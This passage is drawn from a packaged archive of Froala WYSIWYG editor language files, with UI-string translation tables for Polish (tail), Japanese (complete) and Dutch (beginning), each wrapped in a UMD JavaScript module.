smakuj\u0105 c pyszne jedzenie", 'Relieved face': "Z ulg\u0105 twarz", 'Smiling face with heart-shaped eyes': "U\u015Bmiechni\u0119ta twarz z oczami w kszta\u0142cie serca", 'Smiling face with sunglasses': "U\u015Bmiechni\u0119ta twarz z okulary", 'Smirking face': 'Zadowolony z siebie twarz', 'Neutral face': 'Neutralny twarzy', 'Expressionless face': 'Bezwyrazowy twarzy', 'Unamused face': 'Nie rozbawiony twarzy', 'Face with cold sweat': 'Zimny pot z twarzy', 'Pensive face': "Zamy\u015Blona twarz", 'Confused face': "Myli\u0107 twarzy", 'Confounded face': "Ha\u0144ba twarz", 'Kissing face': "Ca\u0142owanie twarz", 'Face throwing a kiss': "Twarz rzucaj\u0105c poca\u0142unek", 'Kissing face with smiling eyes': "Ca\u0142owanie twarz z u\u015Bmiechni\u0119tymi oczami", 'Kissing face with closed eyes': "Ca\u0142owanie twarz z zamkni\u0119tymi oczami", 'Face with stuck out tongue': "Twarz z j\u0119zyka stercza\u0142y", 'Face with stuck out tongue and winking eye': "Twarz z stercza\u0142y j\u0119zyka i mrugaj\u0105c okiem", 'Face with stuck out tongue and tightly-closed eyes': "Twarz z stercza\u0142y j\u0119zyka i szczelnie zamkni\u0119tych oczu", 'Disappointed face': 'Rozczarowany twarzy', 'Worried face': 'Martwi twarzy', 'Angry face': 'Gniewnych twarzy', 'Pouting face': "D\u0105sy twarzy", 'Crying face': "P\u0142acz\u0105cy", 'Persevering face': "Wytrwa\u0142a twarz", 'Face with look of triumph': 'Twarz z wyrazem triumfu', 'Disappointed but relieved face': "Rozczarowany ale ulg\u0119 twarz", 'Frowning face with open mouth': "Krzywi\u0105c twarz z otwartymi ustami", 'Anguished face': 'Bolesna twarz', 'Fearful face': 'W obawie twarzy', 'Weary face': "Zm\u0119czona twarz", 'Sleepy face': "Je\u017Adziec bez twarzy", 'Tired face': "Zm\u0119czonej twarzy", 'Grimacing face': "Skrzywi\u0142 twarz", 'Loudly crying face': "G\u0142o\u015Bno p\u0142aka\u0107 twarz", 'Face with open mouth': 'twarz z otwartymi ustami', 'Hushed face': "Uciszy\u0142 twarzy", 'Face with open mouth and cold sweat': 'Twarz z otwartymi ustami i zimny pot', 'Face screaming in fear': 'Twarz z krzykiem w strachu', 'Astonished face': 'Zdziwienie twarzy', 'Flushed face': 'Zaczerwienienie twarzy', 'Sleeping face': "\u015Api\u0105ca twarz", 'Dizzy face': "Zawroty g\u0142owy twarzy", 'Face without mouth': 'Twarz bez usta', 'Face with medical mask': "Twarz\u0105 w medycznych maski", // Line breaker 'Break': "Z\u0142ama\u0107", // Math 'Subscript': 'Indeks dolny', 'Superscript': "Indeks g\xF3rny", // Full screen 'Fullscreen': "Pe\u0142ny ekran", // Horizontal line 'Insert Horizontal Line': "Wstaw lini\u0119 poziom\u0105", // Clear formatting 'Clear Formatting': "Usu\u0144 formatowanie", // Save 'Save': "Zapisa\u0107", // Undo, redo 'Undo': 'Cofnij', 'Redo': "Pon\xF3w", // Select all 'Select All': 'Zaznacz wszystko', // Code view 'Code View': 'Widok kod', // Quote 'Quote': 'Cytat', 'Increase': 'Wzrost', 'Decrease': 'Zmniejszenie', // Quick Insert 'Quick Insert': 'Szybkie wstaw', // Spcial Characters 'Special Characters': 'Znaki specjalne', 'Latin': 'Łacina', 'Greek': 'Grecki', 'Cyrillic': 'Cyrylica', 'Punctuation': 'Interpunkcja', 'Currency': 'Waluta', 'Arrows': 'Strzałki', 'Math': 'Matematyka', 'Misc': 'Misc', // Print. 'Print': 'Wydrukować', // Spell Checker. 'Spell Checker': 'Sprawdzanie pisowni', // Help 'Help': 'Wsparcie', 'Shortcuts': 'Skróty', 'Inline Editor': 'Edytor w wierszu', 'Show the editor': 'Pokazać edytor', 'Common actions': 'Wspólne działania', 'Copy': 'Kopiuj', 'Cut': 'Ciąć', 'Paste': 'Pasta', 'Basic Formatting': 'Podstawowe formatowanie', 'Increase quote level': 'Zwiększyć poziom notowań', 'Decrease quote level': 'Zmniejszyć poziom notowań', 'Image / Video': 'Obraz / wideo', 'Resize larger': 'Zmienić rozmiar większy', 'Resize smaller': 'Zmienić rozmiar mniejszy', 'Table': 'Stół', 'Select table cell': 'Wybierz komórkę tabeli', 'Extend selection one cell': 'Przedłużyć wybór jednej komórki', 'Extend selection one row': 'Przedłużyć wybór jednego rzędu', 'Navigation': 'Nawigacja', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Powrót do poprzedniej pozycji', // Embed.ly 'Embed URL': 'Osadzaj url', 'Paste in a URL to embed': 'Wklej w adresie URL do osadzenia', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Wklejana treść pochodzi z programu Microsoft Word. Czy chcesz zachować formatowanie czy wkleić jako zwykły tekst?', 'Keep': 'Zachowaj formatowanie', 'Clean': 'Wklej jako tekst', 'Word Paste Detected': 'Wykryto sformatowany tekst', // Character Counter 'Characters': 'Znaki', // More Buttons 'More Text': 'Więcej Tekst', 'More Paragraph': 'Więcej Ustęp', 'More Rich': 'Więcej Bogaty', 'More Misc': 'Więcej Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=pl.js.map languages/ja.js 0000674 00000035416 00000000000 0007417 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Japanese */ FE.LANGUAGE['ja'] = { translation: { // Place holder 'Type something': "\u3053\u3053\u306B\u5165\u529B\u3057\u307E\u3059", // Basic formatting 'Bold': "\u592A\u5B57", 'Italic': "\u659C\u4F53", 'Underline': "\u4E0B\u7DDA", 'Strikethrough': "\u53D6\u308A\u6D88\u3057\u7DDA", // Main buttons 'Insert': "\u633F\u5165", 'Delete': "\u524A\u9664", 'Cancel': "\u30AD\u30E3\u30F3\u30BB\u30EB", 'OK': 'OK', 'Back': "\u623B\u308B", 'Remove': "\u524A\u9664", 'More': "\u3082\u3063\u3068", 'Update': "\u66F4\u65B0", 'Style': "\u30B9\u30BF\u30A4\u30EB", // Font 'Font Family': "\u30D5\u30A9\u30F3\u30C8", 'Font Size': "\u30D5\u30A9\u30F3\u30C8\u30B5\u30A4\u30BA", // Colors 'Colors': "\u8272", 'Background': "\u80CC\u666F", 'Text': "\u30C6\u30AD\u30B9\u30C8", 'HEX Color': "\u30D8\u30AD\u30B5\u306E\u8272", // Paragraphs 'Paragraph Format': "\u6BB5\u843D\u306E\u66F8\u5F0F", 'Normal': "\u6A19\u6E96", 'Code': "\u30B3\u30FC\u30C9", 'Heading 1': "\u30D8\u30C3\u30C0\u30FC 1", 'Heading 2': "\u30D8\u30C3\u30C0\u30FC 2", 'Heading 3': "\u30D8\u30C3\u30C0\u30FC 3", 'Heading 4': "\u30D8\u30C3\u30C0\u30FC 4", // Style 'Paragraph Style': "\u6BB5\u843D\u30B9\u30BF\u30A4\u30EB", 'Inline Style': "\u30A4\u30F3\u30E9\u30A4\u30F3\u30B9\u30BF\u30A4\u30EB", // Alignment 'Align': "\u914D\u7F6E", 'Align Left': "\u5DE6\u63C3\u3048", 'Align Center': "\u4E2D\u592E\u63C3\u3048", 'Align Right': "\u53F3\u63C3\u3048", 'Align Justify': "\u4E21\u7AEF\u63C3\u3048", 'None': "\u306A\u3057", // Lists 'Ordered List': "\u6BB5\u843D\u756A\u53F7", 'Unordered List': "\u7B87\u6761\u66F8\u304D", // Indent 'Decrease Indent': "\u30A4\u30F3\u30C7\u30F3\u30C8\u3092\u6E1B\u3089\u3059", 'Increase Indent': "\u30A4\u30F3\u30C7\u30F3\u30C8\u3092\u5897\u3084\u3059", // Links 'Insert Link': "\u30EA\u30F3\u30AF\u306E\u633F\u5165", 'Open in new tab': "\u65B0\u3057\u3044\u30BF\u30D6\u3067\u958B\u304F", 'Open Link': "\u30EA\u30F3\u30AF\u3092\u958B\u304F", 'Edit Link': "\u30EA\u30F3\u30AF\u306E\u7DE8\u96C6", 'Unlink': "\u30EA\u30F3\u30AF\u306E\u524A\u9664", 'Choose Link': "\u30EA\u30F3\u30AF\u3092\u9078\u629E", // Images 'Insert Image': "\u753B\u50CF\u306E\u633F\u5165", 'Upload Image': "\u753B\u50CF\u3092\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9", 'By URL': "\u753B\u50CF\u306EURL\u3092\u5165\u529B", 'Browse': "\u53C2\u7167", 'Drop image': "\u753B\u50CF\u3092\u30C9\u30E9\u30C3\u30B0&\u30C9\u30ED\u30C3\u30D7", 'or click': "\u307E\u305F\u306F\u30AF\u30EA\u30C3\u30AF", 'Manage Images': "\u753B\u50CF\u306E\u7BA1\u7406", 'Loading': "\u8AAD\u307F\u8FBC\u307F\u4E2D", 'Deleting': "\u524A\u9664", 'Tags': "\u30BF\u30B0", 'Are you sure? Image will be deleted.': "\u672C\u5F53\u306B\u524A\u9664\u3057\u307E\u3059\u304B\uFF1F", 'Replace': "\u7F6E\u63DB", 'Uploading': "\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9\u4E2D", 'Loading image': "\u753B\u50CF\u8AAD\u307F\u8FBC\u307F\u4E2D", 'Display': "\u8868\u793A", 'Inline': "\u30A4\u30F3\u30E9\u30A4\u30F3", 'Break Text': "\u30C6\u30AD\u30B9\u30C8\u306E\u6539\u884C", 'Alternative Text': "\u4EE3\u66FF\u30C6\u30AD\u30B9\u30C8", 'Change Size': "\u30B5\u30A4\u30BA\u5909\u66F4", 'Width': "\u5E45", 'Height': "\u9AD8\u3055", 'Something went wrong. Please try again.': "\u554F\u984C\u304C\u767A\u751F\u3057\u307E\u3057\u305F\u3002\u3082\u3046\u4E00\u5EA6\u3084\u308A\u76F4\u3057\u3066\u304F\u3060\u3055\u3044\u3002", 'Image Caption': "\u753B\u50CF\u30AD\u30E3\u30D7\u30B7\u30E7\u30F3", 'Advanced Edit': "\u9AD8\u5EA6\u306A\u7DE8\u96C6", // Video 'Insert Video': "\u52D5\u753B\u306E\u633F\u5165", 'Embedded Code': "\u57CB\u3081\u8FBC\u307F\u30B3\u30FC\u30C9", 'Paste in a video URL': "\u52D5\u753BURL\u306B\u8CBC\u308A\u4ED8\u3051\u308B", 'Drop video': "\u52D5\u753B\u3092\u30C9\u30E9\u30C3\u30B0&\u30C9\u30ED\u30C3\u30D7", 'Your browser does not support HTML5 video.': "\u3042\u306A\u305F\u306E\u30D6\u30E9\u30A6\u30B6\u306Fhtml5 video\u3092\u30B5\u30DD\u30FC\u30C8\u3057\u3066\u3044\u307E\u305B\u3093\u3002", 'Upload Video': "\u52D5\u753B\u306E\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9", // Tables 'Insert Table': "\u8868\u306E\u633F\u5165", 'Table Header': "\u8868\u306E\u30D8\u30C3\u30C0\u30FC", 'Remove Table': "\u8868\u306E\u524A\u9664", 'Table Style': "\u8868\u306E\u30B9\u30BF\u30A4\u30EB", 'Horizontal Align': "\u6A2A\u4F4D\u7F6E", 'Row': "\u884C", 'Insert row above': "\u4E0A\u306B\u884C\u3092\u633F\u5165", 'Insert row below': "\u4E0B\u306B\u884C\u3092\u633F\u5165", 'Delete row': "\u884C\u306E\u524A\u9664", 'Column': "\u5217", 'Insert column before': "\u5DE6\u306B\u5217\u3092\u633F\u5165", 'Insert column after': "\u53F3\u306B\u5217\u3092\u633F\u5165", 'Delete column': "\u5217\u306E\u524A\u9664", 'Cell': "\u30BB\u30EB", 'Merge cells': "\u30BB\u30EB\u306E\u7D50\u5408", 'Horizontal split': "\u6A2A\u5206\u5272", 'Vertical split': "\u7E26\u5206\u5272", 'Cell Background': "\u30BB\u30EB\u306E\u80CC\u666F", 'Vertical Align': "\u7E26\u4F4D\u7F6E", 'Top': "\u4E0A\u63C3\u3048", 'Middle': "\u4E2D\u592E\u63C3\u3048", 'Bottom': "\u4E0B\u63C3\u3048", 'Align Top': "\u4E0A\u306B\u63C3\u3048\u307E\u3059", 'Align Middle': "\u4E2D\u592E\u306B\u63C3\u3048\u307E\u3059", 'Align Bottom': "\u4E0B\u306B\u63C3\u3048\u307E\u3059", 'Cell Style': "\u30BB\u30EB\u30B9\u30BF\u30A4\u30EB", // Files 'Upload File': "\u30D5\u30A1\u30A4\u30EB\u306E\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9", 'Drop file': "\u30D5\u30A1\u30A4\u30EB\u3092\u30C9\u30E9\u30C3\u30B0&\u30C9\u30ED\u30C3\u30D7", // Emoticons 'Emoticons': "\u7D75\u6587\u5B57", 'Grinning face': "\u30CB\u30F3\u30DE\u30EA\u9854", 'Grinning face with smiling eyes': "\u30CB\u30F3\u30DE\u30EA\u9854(\u7B11\u3063\u3066\u3044\u308B\u76EE)", 'Face with tears of joy': "\u5B09\u3057\u6CE3\u304D\u3059\u308B\u9854", 'Smiling face with open mouth': "\u7B11\u9854(\u5E83\u3052\u305F\u53E3)", 'Smiling face with open mouth and smiling eyes': "\u7B11\u9854(\u5E83\u3052\u305F\u53E3\u3001\u7B11\u3063\u3066\u3044\u308B\u76EE)", 'Smiling face with open mouth and cold sweat': "\u7B11\u9854(\u5E83\u3052\u305F\u53E3\u3001\u51B7\u3084\u6C57)", 'Smiling face with open mouth and tightly-closed eyes': "\u7B11\u9854(\u5E83\u3052\u305F\u53E3\u3001\u3057\u3063\u304B\u308A\u9589\u3058\u305F\u76EE)", 'Smiling face with halo': "\u5929\u4F7F\u306E\u8F2A\u304C\u304B\u304B\u3063\u3066\u3044\u308B\u7B11\u9854", 'Smiling face with horns': "\u89D2\u306E\u3042\u308B\u7B11\u9854", 'Winking face': "\u30A6\u30A3\u30F3\u30AF\u3057\u305F\u9854", 'Smiling face with smiling eyes': "\u7B11\u9854(\u7B11\u3063\u3066\u3044\u308B\u76EE)", 'Face savoring delicious food': "\u304A\u3044\u3057\u3044\u3082\u306E\u3092\u98DF\u3079\u305F\u9854", 'Relieved face': "\u5B89\u5FC3\u3057\u305F\u9854", 'Smiling face with heart-shaped eyes': "\u76EE\u304C\u30CF\u30FC\u30C8\u306E\u7B11\u9854", 'Smiling face with sunglasses': "\u30B5\u30F3\u30B0\u30E9\u30B9\u3092\u304B\u3051\u305F\u7B11\u9854", 'Smirking face': "\u4F5C\u308A\u7B11\u3044", 'Neutral face': "\u7121\u8868\u60C5\u306E\u9854", 'Expressionless face': "\u7121\u8868\u60C5\u306A\u9854", 'Unamused face': "\u3064\u307E\u3089\u306A\u3044\u9854", 'Face with cold sweat': "\u51B7\u3084\u6C57\u3092\u304B\u3044\u305F\u9854", 'Pensive face': "\u8003\u3048\u4E2D\u306E\u9854", 'Confused face': "\u5C11\u3057\u3057\u3087\u3093\u307C\u308A\u3057\u305F\u9854", 'Confounded face': "\u56F0\u308A\u679C\u3066\u305F\u9854", 'Kissing face': "\u30AD\u30B9\u3059\u308B\u9854", 'Face throwing a kiss': "\u6295\u3052\u30AD\u30C3\u30B9\u3059\u308B\u9854", 'Kissing face with smiling eyes': "\u7B11\u3044\u306A\u304C\u3089\u30AD\u30B9\u3059\u308B\u9854", 'Kissing face with closed eyes': "\u76EE\u3092\u9589\u3058\u3066\u30AD\u30B9\u3059\u308B\u9854", 'Face with stuck out tongue': "\u304B\u3089\u304B\u3063\u305F\u9854(\u3042\u3063\u304B\u3093\u3079\u3048)", 'Face with stuck out tongue and winking eye': "\u30A6\u30A3\u30F3\u30AF\u3057\u3066\u820C\u3092\u51FA\u3057\u305F\u9854", 'Face with stuck out tongue and tightly-closed eyes': "\u76EE\u3092\u9589\u3058\u3066\u820C\u3092\u51FA\u3057\u305F\u9854", 'Disappointed face': "\u843D\u3061\u8FBC\u3093\u3060\u9854", 'Worried face': "\u4E0D\u5B89\u306A\u9854", 'Angry face': "\u6012\u3063\u305F\u9854", 'Pouting face': "\u3075\u304F\u308C\u9854", 'Crying face': "\u6CE3\u3044\u3066\u3044\u308B\u9854", 'Persevering face': "\u5931\u6557\u9854", 'Face with look of triumph': "\u52DD\u3061\u307B\u3053\u3063\u305F\u9854", 'Disappointed but relieved face': "\u5B89\u5835\u3057\u305F\u9854", 'Frowning face with open mouth': "\u3044\u3084\u306A\u9854(\u958B\u3051\u305F\u53E3)", 'Anguished face': "\u3052\u3093\u306A\u308A\u3057\u305F\u9854", 'Fearful face': "\u9752\u3056\u3081\u305F\u9854", 'Weary face': "\u75B2\u308C\u305F\u9854", 'Sleepy face': "\u7720\u3044\u9854", 'Tired face': "\u3057\u3093\u3069\u3044\u9854", 'Grimacing face': "\u3061\u3087\u3063\u3068\u4E0D\u5FEB\u306A\u9854", 'Loudly crying face': "\u5927\u6CE3\u304D\u3057\u3066\u3044\u308B\u9854", 'Face with open mouth': "\u53E3\u3092\u958B\u3051\u305F\u9854", 'Hushed face': "\u9ED9\u3063\u305F\u9854", 'Face with open mouth and cold sweat': "\u53E3\u3092\u958B\u3051\u305F\u9854(\u51B7\u3084\u6C57)", 'Face screaming in fear': "\u6050\u6016\u306E\u53EB\u3073\u9854", 'Astonished face': "\u9A5A\u3044\u305F\u9854", 'Flushed face': "\u71B1\u3063\u307D\u3044\u9854", 'Sleeping face': "\u5BDD\u9854", 'Dizzy face': "\u307E\u3044\u3063\u305F\u9854", 'Face without mouth': "\u53E3\u306E\u306A\u3044\u9854", 'Face with medical mask': "\u30DE\u30B9\u30AF\u3057\u305F\u9854", // Line breaker 'Break': "\u6539\u884C", // Math 'Subscript': "\u4E0B\u4ED8\u304D\u6587\u5B57", 'Superscript': "\u4E0A\u4ED8\u304D\u6587\u5B57", // Full screen 'Fullscreen': "\u5168\u753B\u9762\u8868\u793A", // Horizontal line 'Insert Horizontal Line': "\u6C34\u5E73\u7DDA\u306E\u633F\u5165", // Clear formatting 'Clear Formatting': "\u66F8\u5F0F\u306E\u30AF\u30EA\u30A2", // Save 'Save': "\u30BB\u30FC\u30D6", // Undo, redo 'Undo': "\u5143\u306B\u623B\u3059", 'Redo': "\u3084\u308A\u76F4\u3059", // Select all 'Select All': "\u5168\u3066\u3092\u9078\u629E", // Code view 'Code View': "HTML\u30BF\u30B0\u8868\u793A", // Quote 'Quote': "\u5F15\u7528", 'Increase': "\u5897\u52A0", 'Decrease': "\u6E1B\u5C11", // Quick Insert 'Quick Insert': "\u30AF\u30A4\u30C3\u30AF\u633F\u5165", // Spcial Characters 'Special Characters': "\u7279\u6B8A\u6587\u5B57", 'Latin': "\u30E9\u30C6\u30F3\u8A9E", 'Greek': "\u30AE\u30EA\u30B7\u30E3\u8A9E", 'Cyrillic': "\u30AD\u30EA\u30EB\u6587\u5B57", 'Punctuation': "\u53E5\u8AAD\u70B9", 'Currency': "\u901A\u8CA8", 'Arrows': "\u77E2\u5370", 'Math': "\u6570\u5B66", 'Misc': "\u305D\u306E\u4ED6", // Print. 'Print': "\u5370\u5237", // Spell Checker. 'Spell Checker': "\u30B9\u30DA\u30EB\u30C1\u30A7\u30C3\u30AF", // Help 'Help': "\u30D8\u30EB\u30D7", 'Shortcuts': "\u30B7\u30E7\u30FC\u30C8\u30AB\u30C3\u30C8", 'Inline Editor': "\u30A4\u30F3\u30E9\u30A4\u30F3\u30A8\u30C7\u30A3\u30BF", 'Show the editor': "\u30A8\u30C7\u30A3\u30BF\u3092\u8868\u793A", 'Common actions': "\u4E00\u822C\u52D5\u4F5C", 'Copy': "\u30B3\u30D4\u30FC", 'Cut': "\u30AB\u30C3\u30C8", 'Paste': "\u8CBC\u308A\u4ED8\u3051", 'Basic Formatting': "\u57FA\u672C\u66F8\u5F0F", 'Increase quote level': "\u5F15\u7528\u3092\u5897\u3084\u3059", 'Decrease quote level': "\u5F15\u7528\u3092\u6E1B\u3089\u3059", 'Image / Video': "\u753B\u50CF/\u52D5\u753B", 'Resize larger': "\u5927\u304D\u304F\u3059\u308B", 'Resize smaller': "\u5C0F\u3055\u304F\u3059\u308B", 'Table': "\u8868", 'Select table cell': "\u30BB\u30EB\u3092\u9078\u629E", 'Extend selection one cell': "\u30BB\u30EB\u306E\u9078\u629E\u7BC4\u56F2\u3092\u5E83\u3052\u308B", 'Extend selection one row': "\u5217\u306E\u9078\u629E\u7BC4\u56F2\u3092\u5E83\u3052\u308B", 'Navigation': "\u30CA\u30D3\u30B2\u30FC\u30B7\u30E7\u30F3", 'Focus popup / toolbar': "\u30DD\u30C3\u30D7\u30A2\u30C3\u30D7/\u30C4\u30FC\u30EB\u30D0\u30FC\u3092\u30D5\u30A9\u30FC\u30AB\u30B9", 'Return focus to previous position': "\u524D\u306E\u4F4D\u7F6E\u306B\u30D5\u30A9\u30FC\u30AB\u30B9\u3092\u623B\u3059", //\u00a0Embed.ly 'Embed URL': "\u57CB\u3081\u8FBC\u307FURL", 'Paste in a URL to embed': "\u57CB\u3081\u8FBC\u307FURL\u306B\u8CBC\u308A\u4ED8\u3051\u308B", // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': "\u8CBC\u308A\u4ED8\u3051\u305F\u6587\u66F8\u306FMicrosoft Word\u304B\u3089\u53D6\u5F97\u3055\u308C\u307E\u3059\u3002\u30D5\u30A9\u30FC\u30DE\u30C3\u30C8\u3092\u4FDD\u6301\u3057\u3066\u8CBC\u308A\u4ED8\u3051\u307E\u3059\u304B\uFF1F", 'Keep': "\u66F8\u5F0F\u3092\u4FDD\u6301\u3059\u308B", 'Clean': "\u66F8\u5F0F\u3092\u4FDD\u6301\u3057\u306A\u3044", 'Word Paste Detected': "Microsoft Word\u306E\u8CBC\u308A\u4ED8\u3051\u304C\u691C\u51FA\u3055\u308C\u307E\u3057\u305F", // Character Counter 'Characters': '文字数', // More Buttons 'More Text': 'より多くのテキスト', 'More Paragraph': 'もっと段落', 'More Rich': 'もっとリッチ', 'More Misc': 'その他', 'Text Color': 'テキストの色', 'Background Color': '背景色', 'Line Height': '行の高さ' }, direction: 'ltr' }; }))); //# sourceMappingURL=ja.js.map languages/nl.js 0000674 00000026346 00000000000 0007440 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Dutch */ FE.LANGUAGE['nl'] = { translation: { // Place holder 'Type something': 'Typ iets', // Basic formatting 'Bold': 'Vet', 'Italic': 'Cursief', 'Underline': 'Onderstreept', 'Strikethrough': 'Doorhalen', // Main buttons 'Insert': 'Invoegen', 'Delete': 'Verwijder', 'Cancel': 'Annuleren', 'OK': "Ok\xE9", 'Back': 'Terug', 'Remove': 'Verwijderen', 'More': 'Meer', 'Update': 'Bijwerken', 'Style': 'Stijl', // Font 'Font Family': 'Lettertype', 'Font Size': 'Lettergrootte', 'Text Color': 'Tekstkleur', 'Background Color': 'Achtergrondkleur', 'Line Height': 'Lijnhoogte', // Colors 'Colors': 'Kleuren', 'Background': 'Achtergrond', 'Text': 'Tekst', 'HEX Color': 'HEX kleur', // Paragraphs 'Paragraph Format': 'Opmaak', 'Normal': 'Normaal', 'Code': 'Code', 'Heading 1': 'Kop 1', 'Heading 2': 'Kop 2', 'Heading 3': 'Kop 3', 'Heading 4': 'Kop 4', // Style 'Paragraph Style': 'Paragraaf stijl', 'Inline Style': 'Inline stijl', // Alignment 'Align': 'Uitlijnen', 'Align Left': 'Links uitlijnen', 'Align Center': 'Centreren', 'Align Right': 'Rechts uitlijnen', 'Align Justify': 'Uitvullen', 'None': 'Geen', // Lists 'Ordered List': 'Geordende lijst', 'Unordered List': 'Ongeordende lijst', 'Default': 'Standaard', 'Lower Alpha': 'Kleine letters', 'Lower Greek': 'Kleine Griekse letters', 'Lower Roman': 'Kleine Romeinse cijfers', 'Upper Alpha': 'Grote letters', 'Upper Roman': 'Grote Romeinse cijfers', 'Circle': 'Cirkel', 'Disc': 'Stip', 'Square': 'Vierkant', // Indent 'Decrease Indent': 'Inspringen verkleinen', 'Increase Indent': 'Inspringen vergroten', // Links 'Insert Link': 'Link invoegen', 'Open in new tab': 'Openen in nieuwe tab', 'Open Link': 'Open link', 'Edit Link': 'Link bewerken', 'Unlink': 'Link verwijderen', 'Choose Link': 'Link kiezen', // Images 'Insert Image': 'Afbeelding invoegen', 'Upload Image': 'Afbeelding uploaden', 'By URL': 'Via URL', 'Browse': 'Bladeren', 'Drop image': 'Sleep afbeelding', 'or click': 'of klik op', 'Manage Images': 'Afbeeldingen beheren', 'Loading': 'Bezig met laden', 'Deleting': 'Verwijderen', 'Tags': 'Labels', 'Are you sure? Image will be deleted.': 'Weet je het zeker? Afbeelding wordt verwijderd.', 'Replace': 'Vervangen', 'Uploading': 'Uploaden', 'Loading image': 'Afbeelding laden', 'Display': 'Tonen', 'Inline': 'Inline', 'Break Text': 'Tekst afbreken', 'Alternative Text': 'Alternatieve tekst', 'Change Size': 'Grootte wijzigen', 'Width': 'Breedte', 'Height': 'Hoogte', 'Something went wrong. Please try again.': 'Er is iets fout gegaan. Probeer opnieuw.', 'Image Caption': 'Afbeelding caption', 'Advanced Edit': 'Geavanceerd bewerken', 'Image file type is invalid.': 'Het bestandsformaat is niet toegestaan.', 'File is too large.': 'Het bestand is te groot.', // Video 'Insert Video': 'Video invoegen', 'Embedded Code': 'Ingebedde code', 'Paste in a video URL': 'Voeg een video-URL toe', 'Drop video': 'Sleep video', 'Your browser does not support HTML5 video.': 'Je browser ondersteunt geen html5-video.', 'Upload Video': 'Video uploaden', // Tables 'Insert Table': 'Tabel invoegen', 'Table Header': 'Tabel hoofd', 'Remove Table': 'Verwijder tabel', 'Table Style': 'Tabelstijl', 'Horizontal Align': 'Horizontale uitlijning', 'Row': 'Rij', 'Insert row above': 'Voeg rij boven toe', 'Insert row below': 'Voeg rij onder toe', 'Delete row': 'Verwijder rij', 'Column': 'Kolom', 'Insert column before': 'Voeg kolom in voor', 'Insert column after': 'Voeg kolom in na', 'Delete column': 'Verwijder kolom', 'Cell': 'Cel', 'Merge cells': 'Cellen samenvoegen', 'Horizontal split': 'Horizontaal splitsen', 'Vertical split': 'Verticaal splitsen', 'Cell Background': 'Cel achtergrond', 'Vertical Align': 'Verticale uitlijning', 'Top': 'Top', 'Middle': 'Midden', 'Bottom': 'Onder', 'Align Top': 'Uitlijnen top', 'Align Middle': 'Uitlijnen midden', 'Align Bottom': 'Onder uitlijnen', 'Cell Style': 'Celstijl', // Files 'Upload File': 'Bestand uploaden', 'Drop file': 'Sleep bestand', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Grijnzend gezicht', 'Grinning face with smiling eyes': 'Grijnzend gezicht met lachende ogen', 'Face with tears of joy': 'Gezicht met tranen van vreugde', 'Smiling face with open mouth': 'Lachend gezicht met open mond', 'Smiling face with open mouth and smiling eyes': 'Lachend gezicht met open mond en lachende ogen', 'Smiling face with open mouth and cold sweat': 'Lachend gezicht met open mond en koud zweet', 'Smiling face with open mouth and tightly-closed eyes': 'Lachend gezicht met open mond en strak gesloten ogen', 'Smiling face with halo': 'Lachend gezicht met halo', 'Smiling face with horns': 'Lachend gezicht met hoorns', 'Winking face': 'Knipogend gezicht', 'Smiling face with smiling eyes': 'Lachend gezicht met lachende ogen', 'Face savoring delicious food': 'Gezicht genietend van heerlijk eten', 'Relieved face': 'Opgelucht gezicht', 'Smiling face with heart-shaped eyes': 'Glimlachend gezicht met hart-vormige ogen', 'Smiling face with sunglasses': 'Lachend gezicht met zonnebril', 'Smirking face': 'Grijnzende gezicht', 'Neutral face': 'Neutraal gezicht', 'Expressionless face': 'Uitdrukkingsloos gezicht', 'Unamused face': 'Niet geamuseerd gezicht', 'Face with cold sweat': 'Gezicht met koud zweet', 'Pensive face': 'Peinzend gezicht', 'Confused face': 'Verward gezicht', 'Confounded face': 'Beschaamd gezicht', 'Kissing face': 'Zoenend gezicht', 'Face throwing a kiss': 'Gezicht gooien van een kus', 'Kissing face with smiling eyes': 'Zoenend gezicht met lachende ogen', 'Kissing face with closed eyes': 'Zoenend gezicht met gesloten ogen', 'Face with stuck out tongue': 'Gezicht met uitstekende tong', 'Face with stuck out tongue and winking eye': 'Gezicht met uitstekende tong en knipoog', 'Face with stuck out tongue and tightly-closed eyes': 'Gezicht met uitstekende tong en strak-gesloten ogen', 'Disappointed face': 'Teleurgesteld gezicht', 'Worried face': 'Bezorgd gezicht', 'Angry face': 'Boos gezicht', 'Pouting face': 'Pruilend gezicht', 'Crying face': 'Huilend gezicht', 'Persevering face': 'Volhardend gezicht', 'Face with look of triumph': 'Gezicht met blik van triomf', 'Disappointed but relieved face': 'Teleurgesteld, maar opgelucht gezicht', 'Frowning face with open mouth': 'Fronsend gezicht met open mond', 'Anguished face': 'Gekweld gezicht', 'Fearful face': 'Angstig gezicht', 'Weary face': 'Vermoeid gezicht', 'Sleepy face': 'Slaperig gezicht', 'Tired face': 'Moe gezicht', 'Grimacing face': 'Grimassen trekkend gezicht', 'Loudly crying face': 'Luid schreeuwend gezicht', 'Face with open mouth': 'Gezicht met open mond', 'Hushed face': 'Tot zwijgen gebracht gezicht', 'Face with open mouth and cold sweat': 'Gezicht met open mond en koud zweet', 'Face screaming in fear': 'Gezicht schreeuwend van angst', 'Astonished face': 'Verbaasd gezicht', 'Flushed face': 'Blozend gezicht', 'Sleeping face': 'Slapend 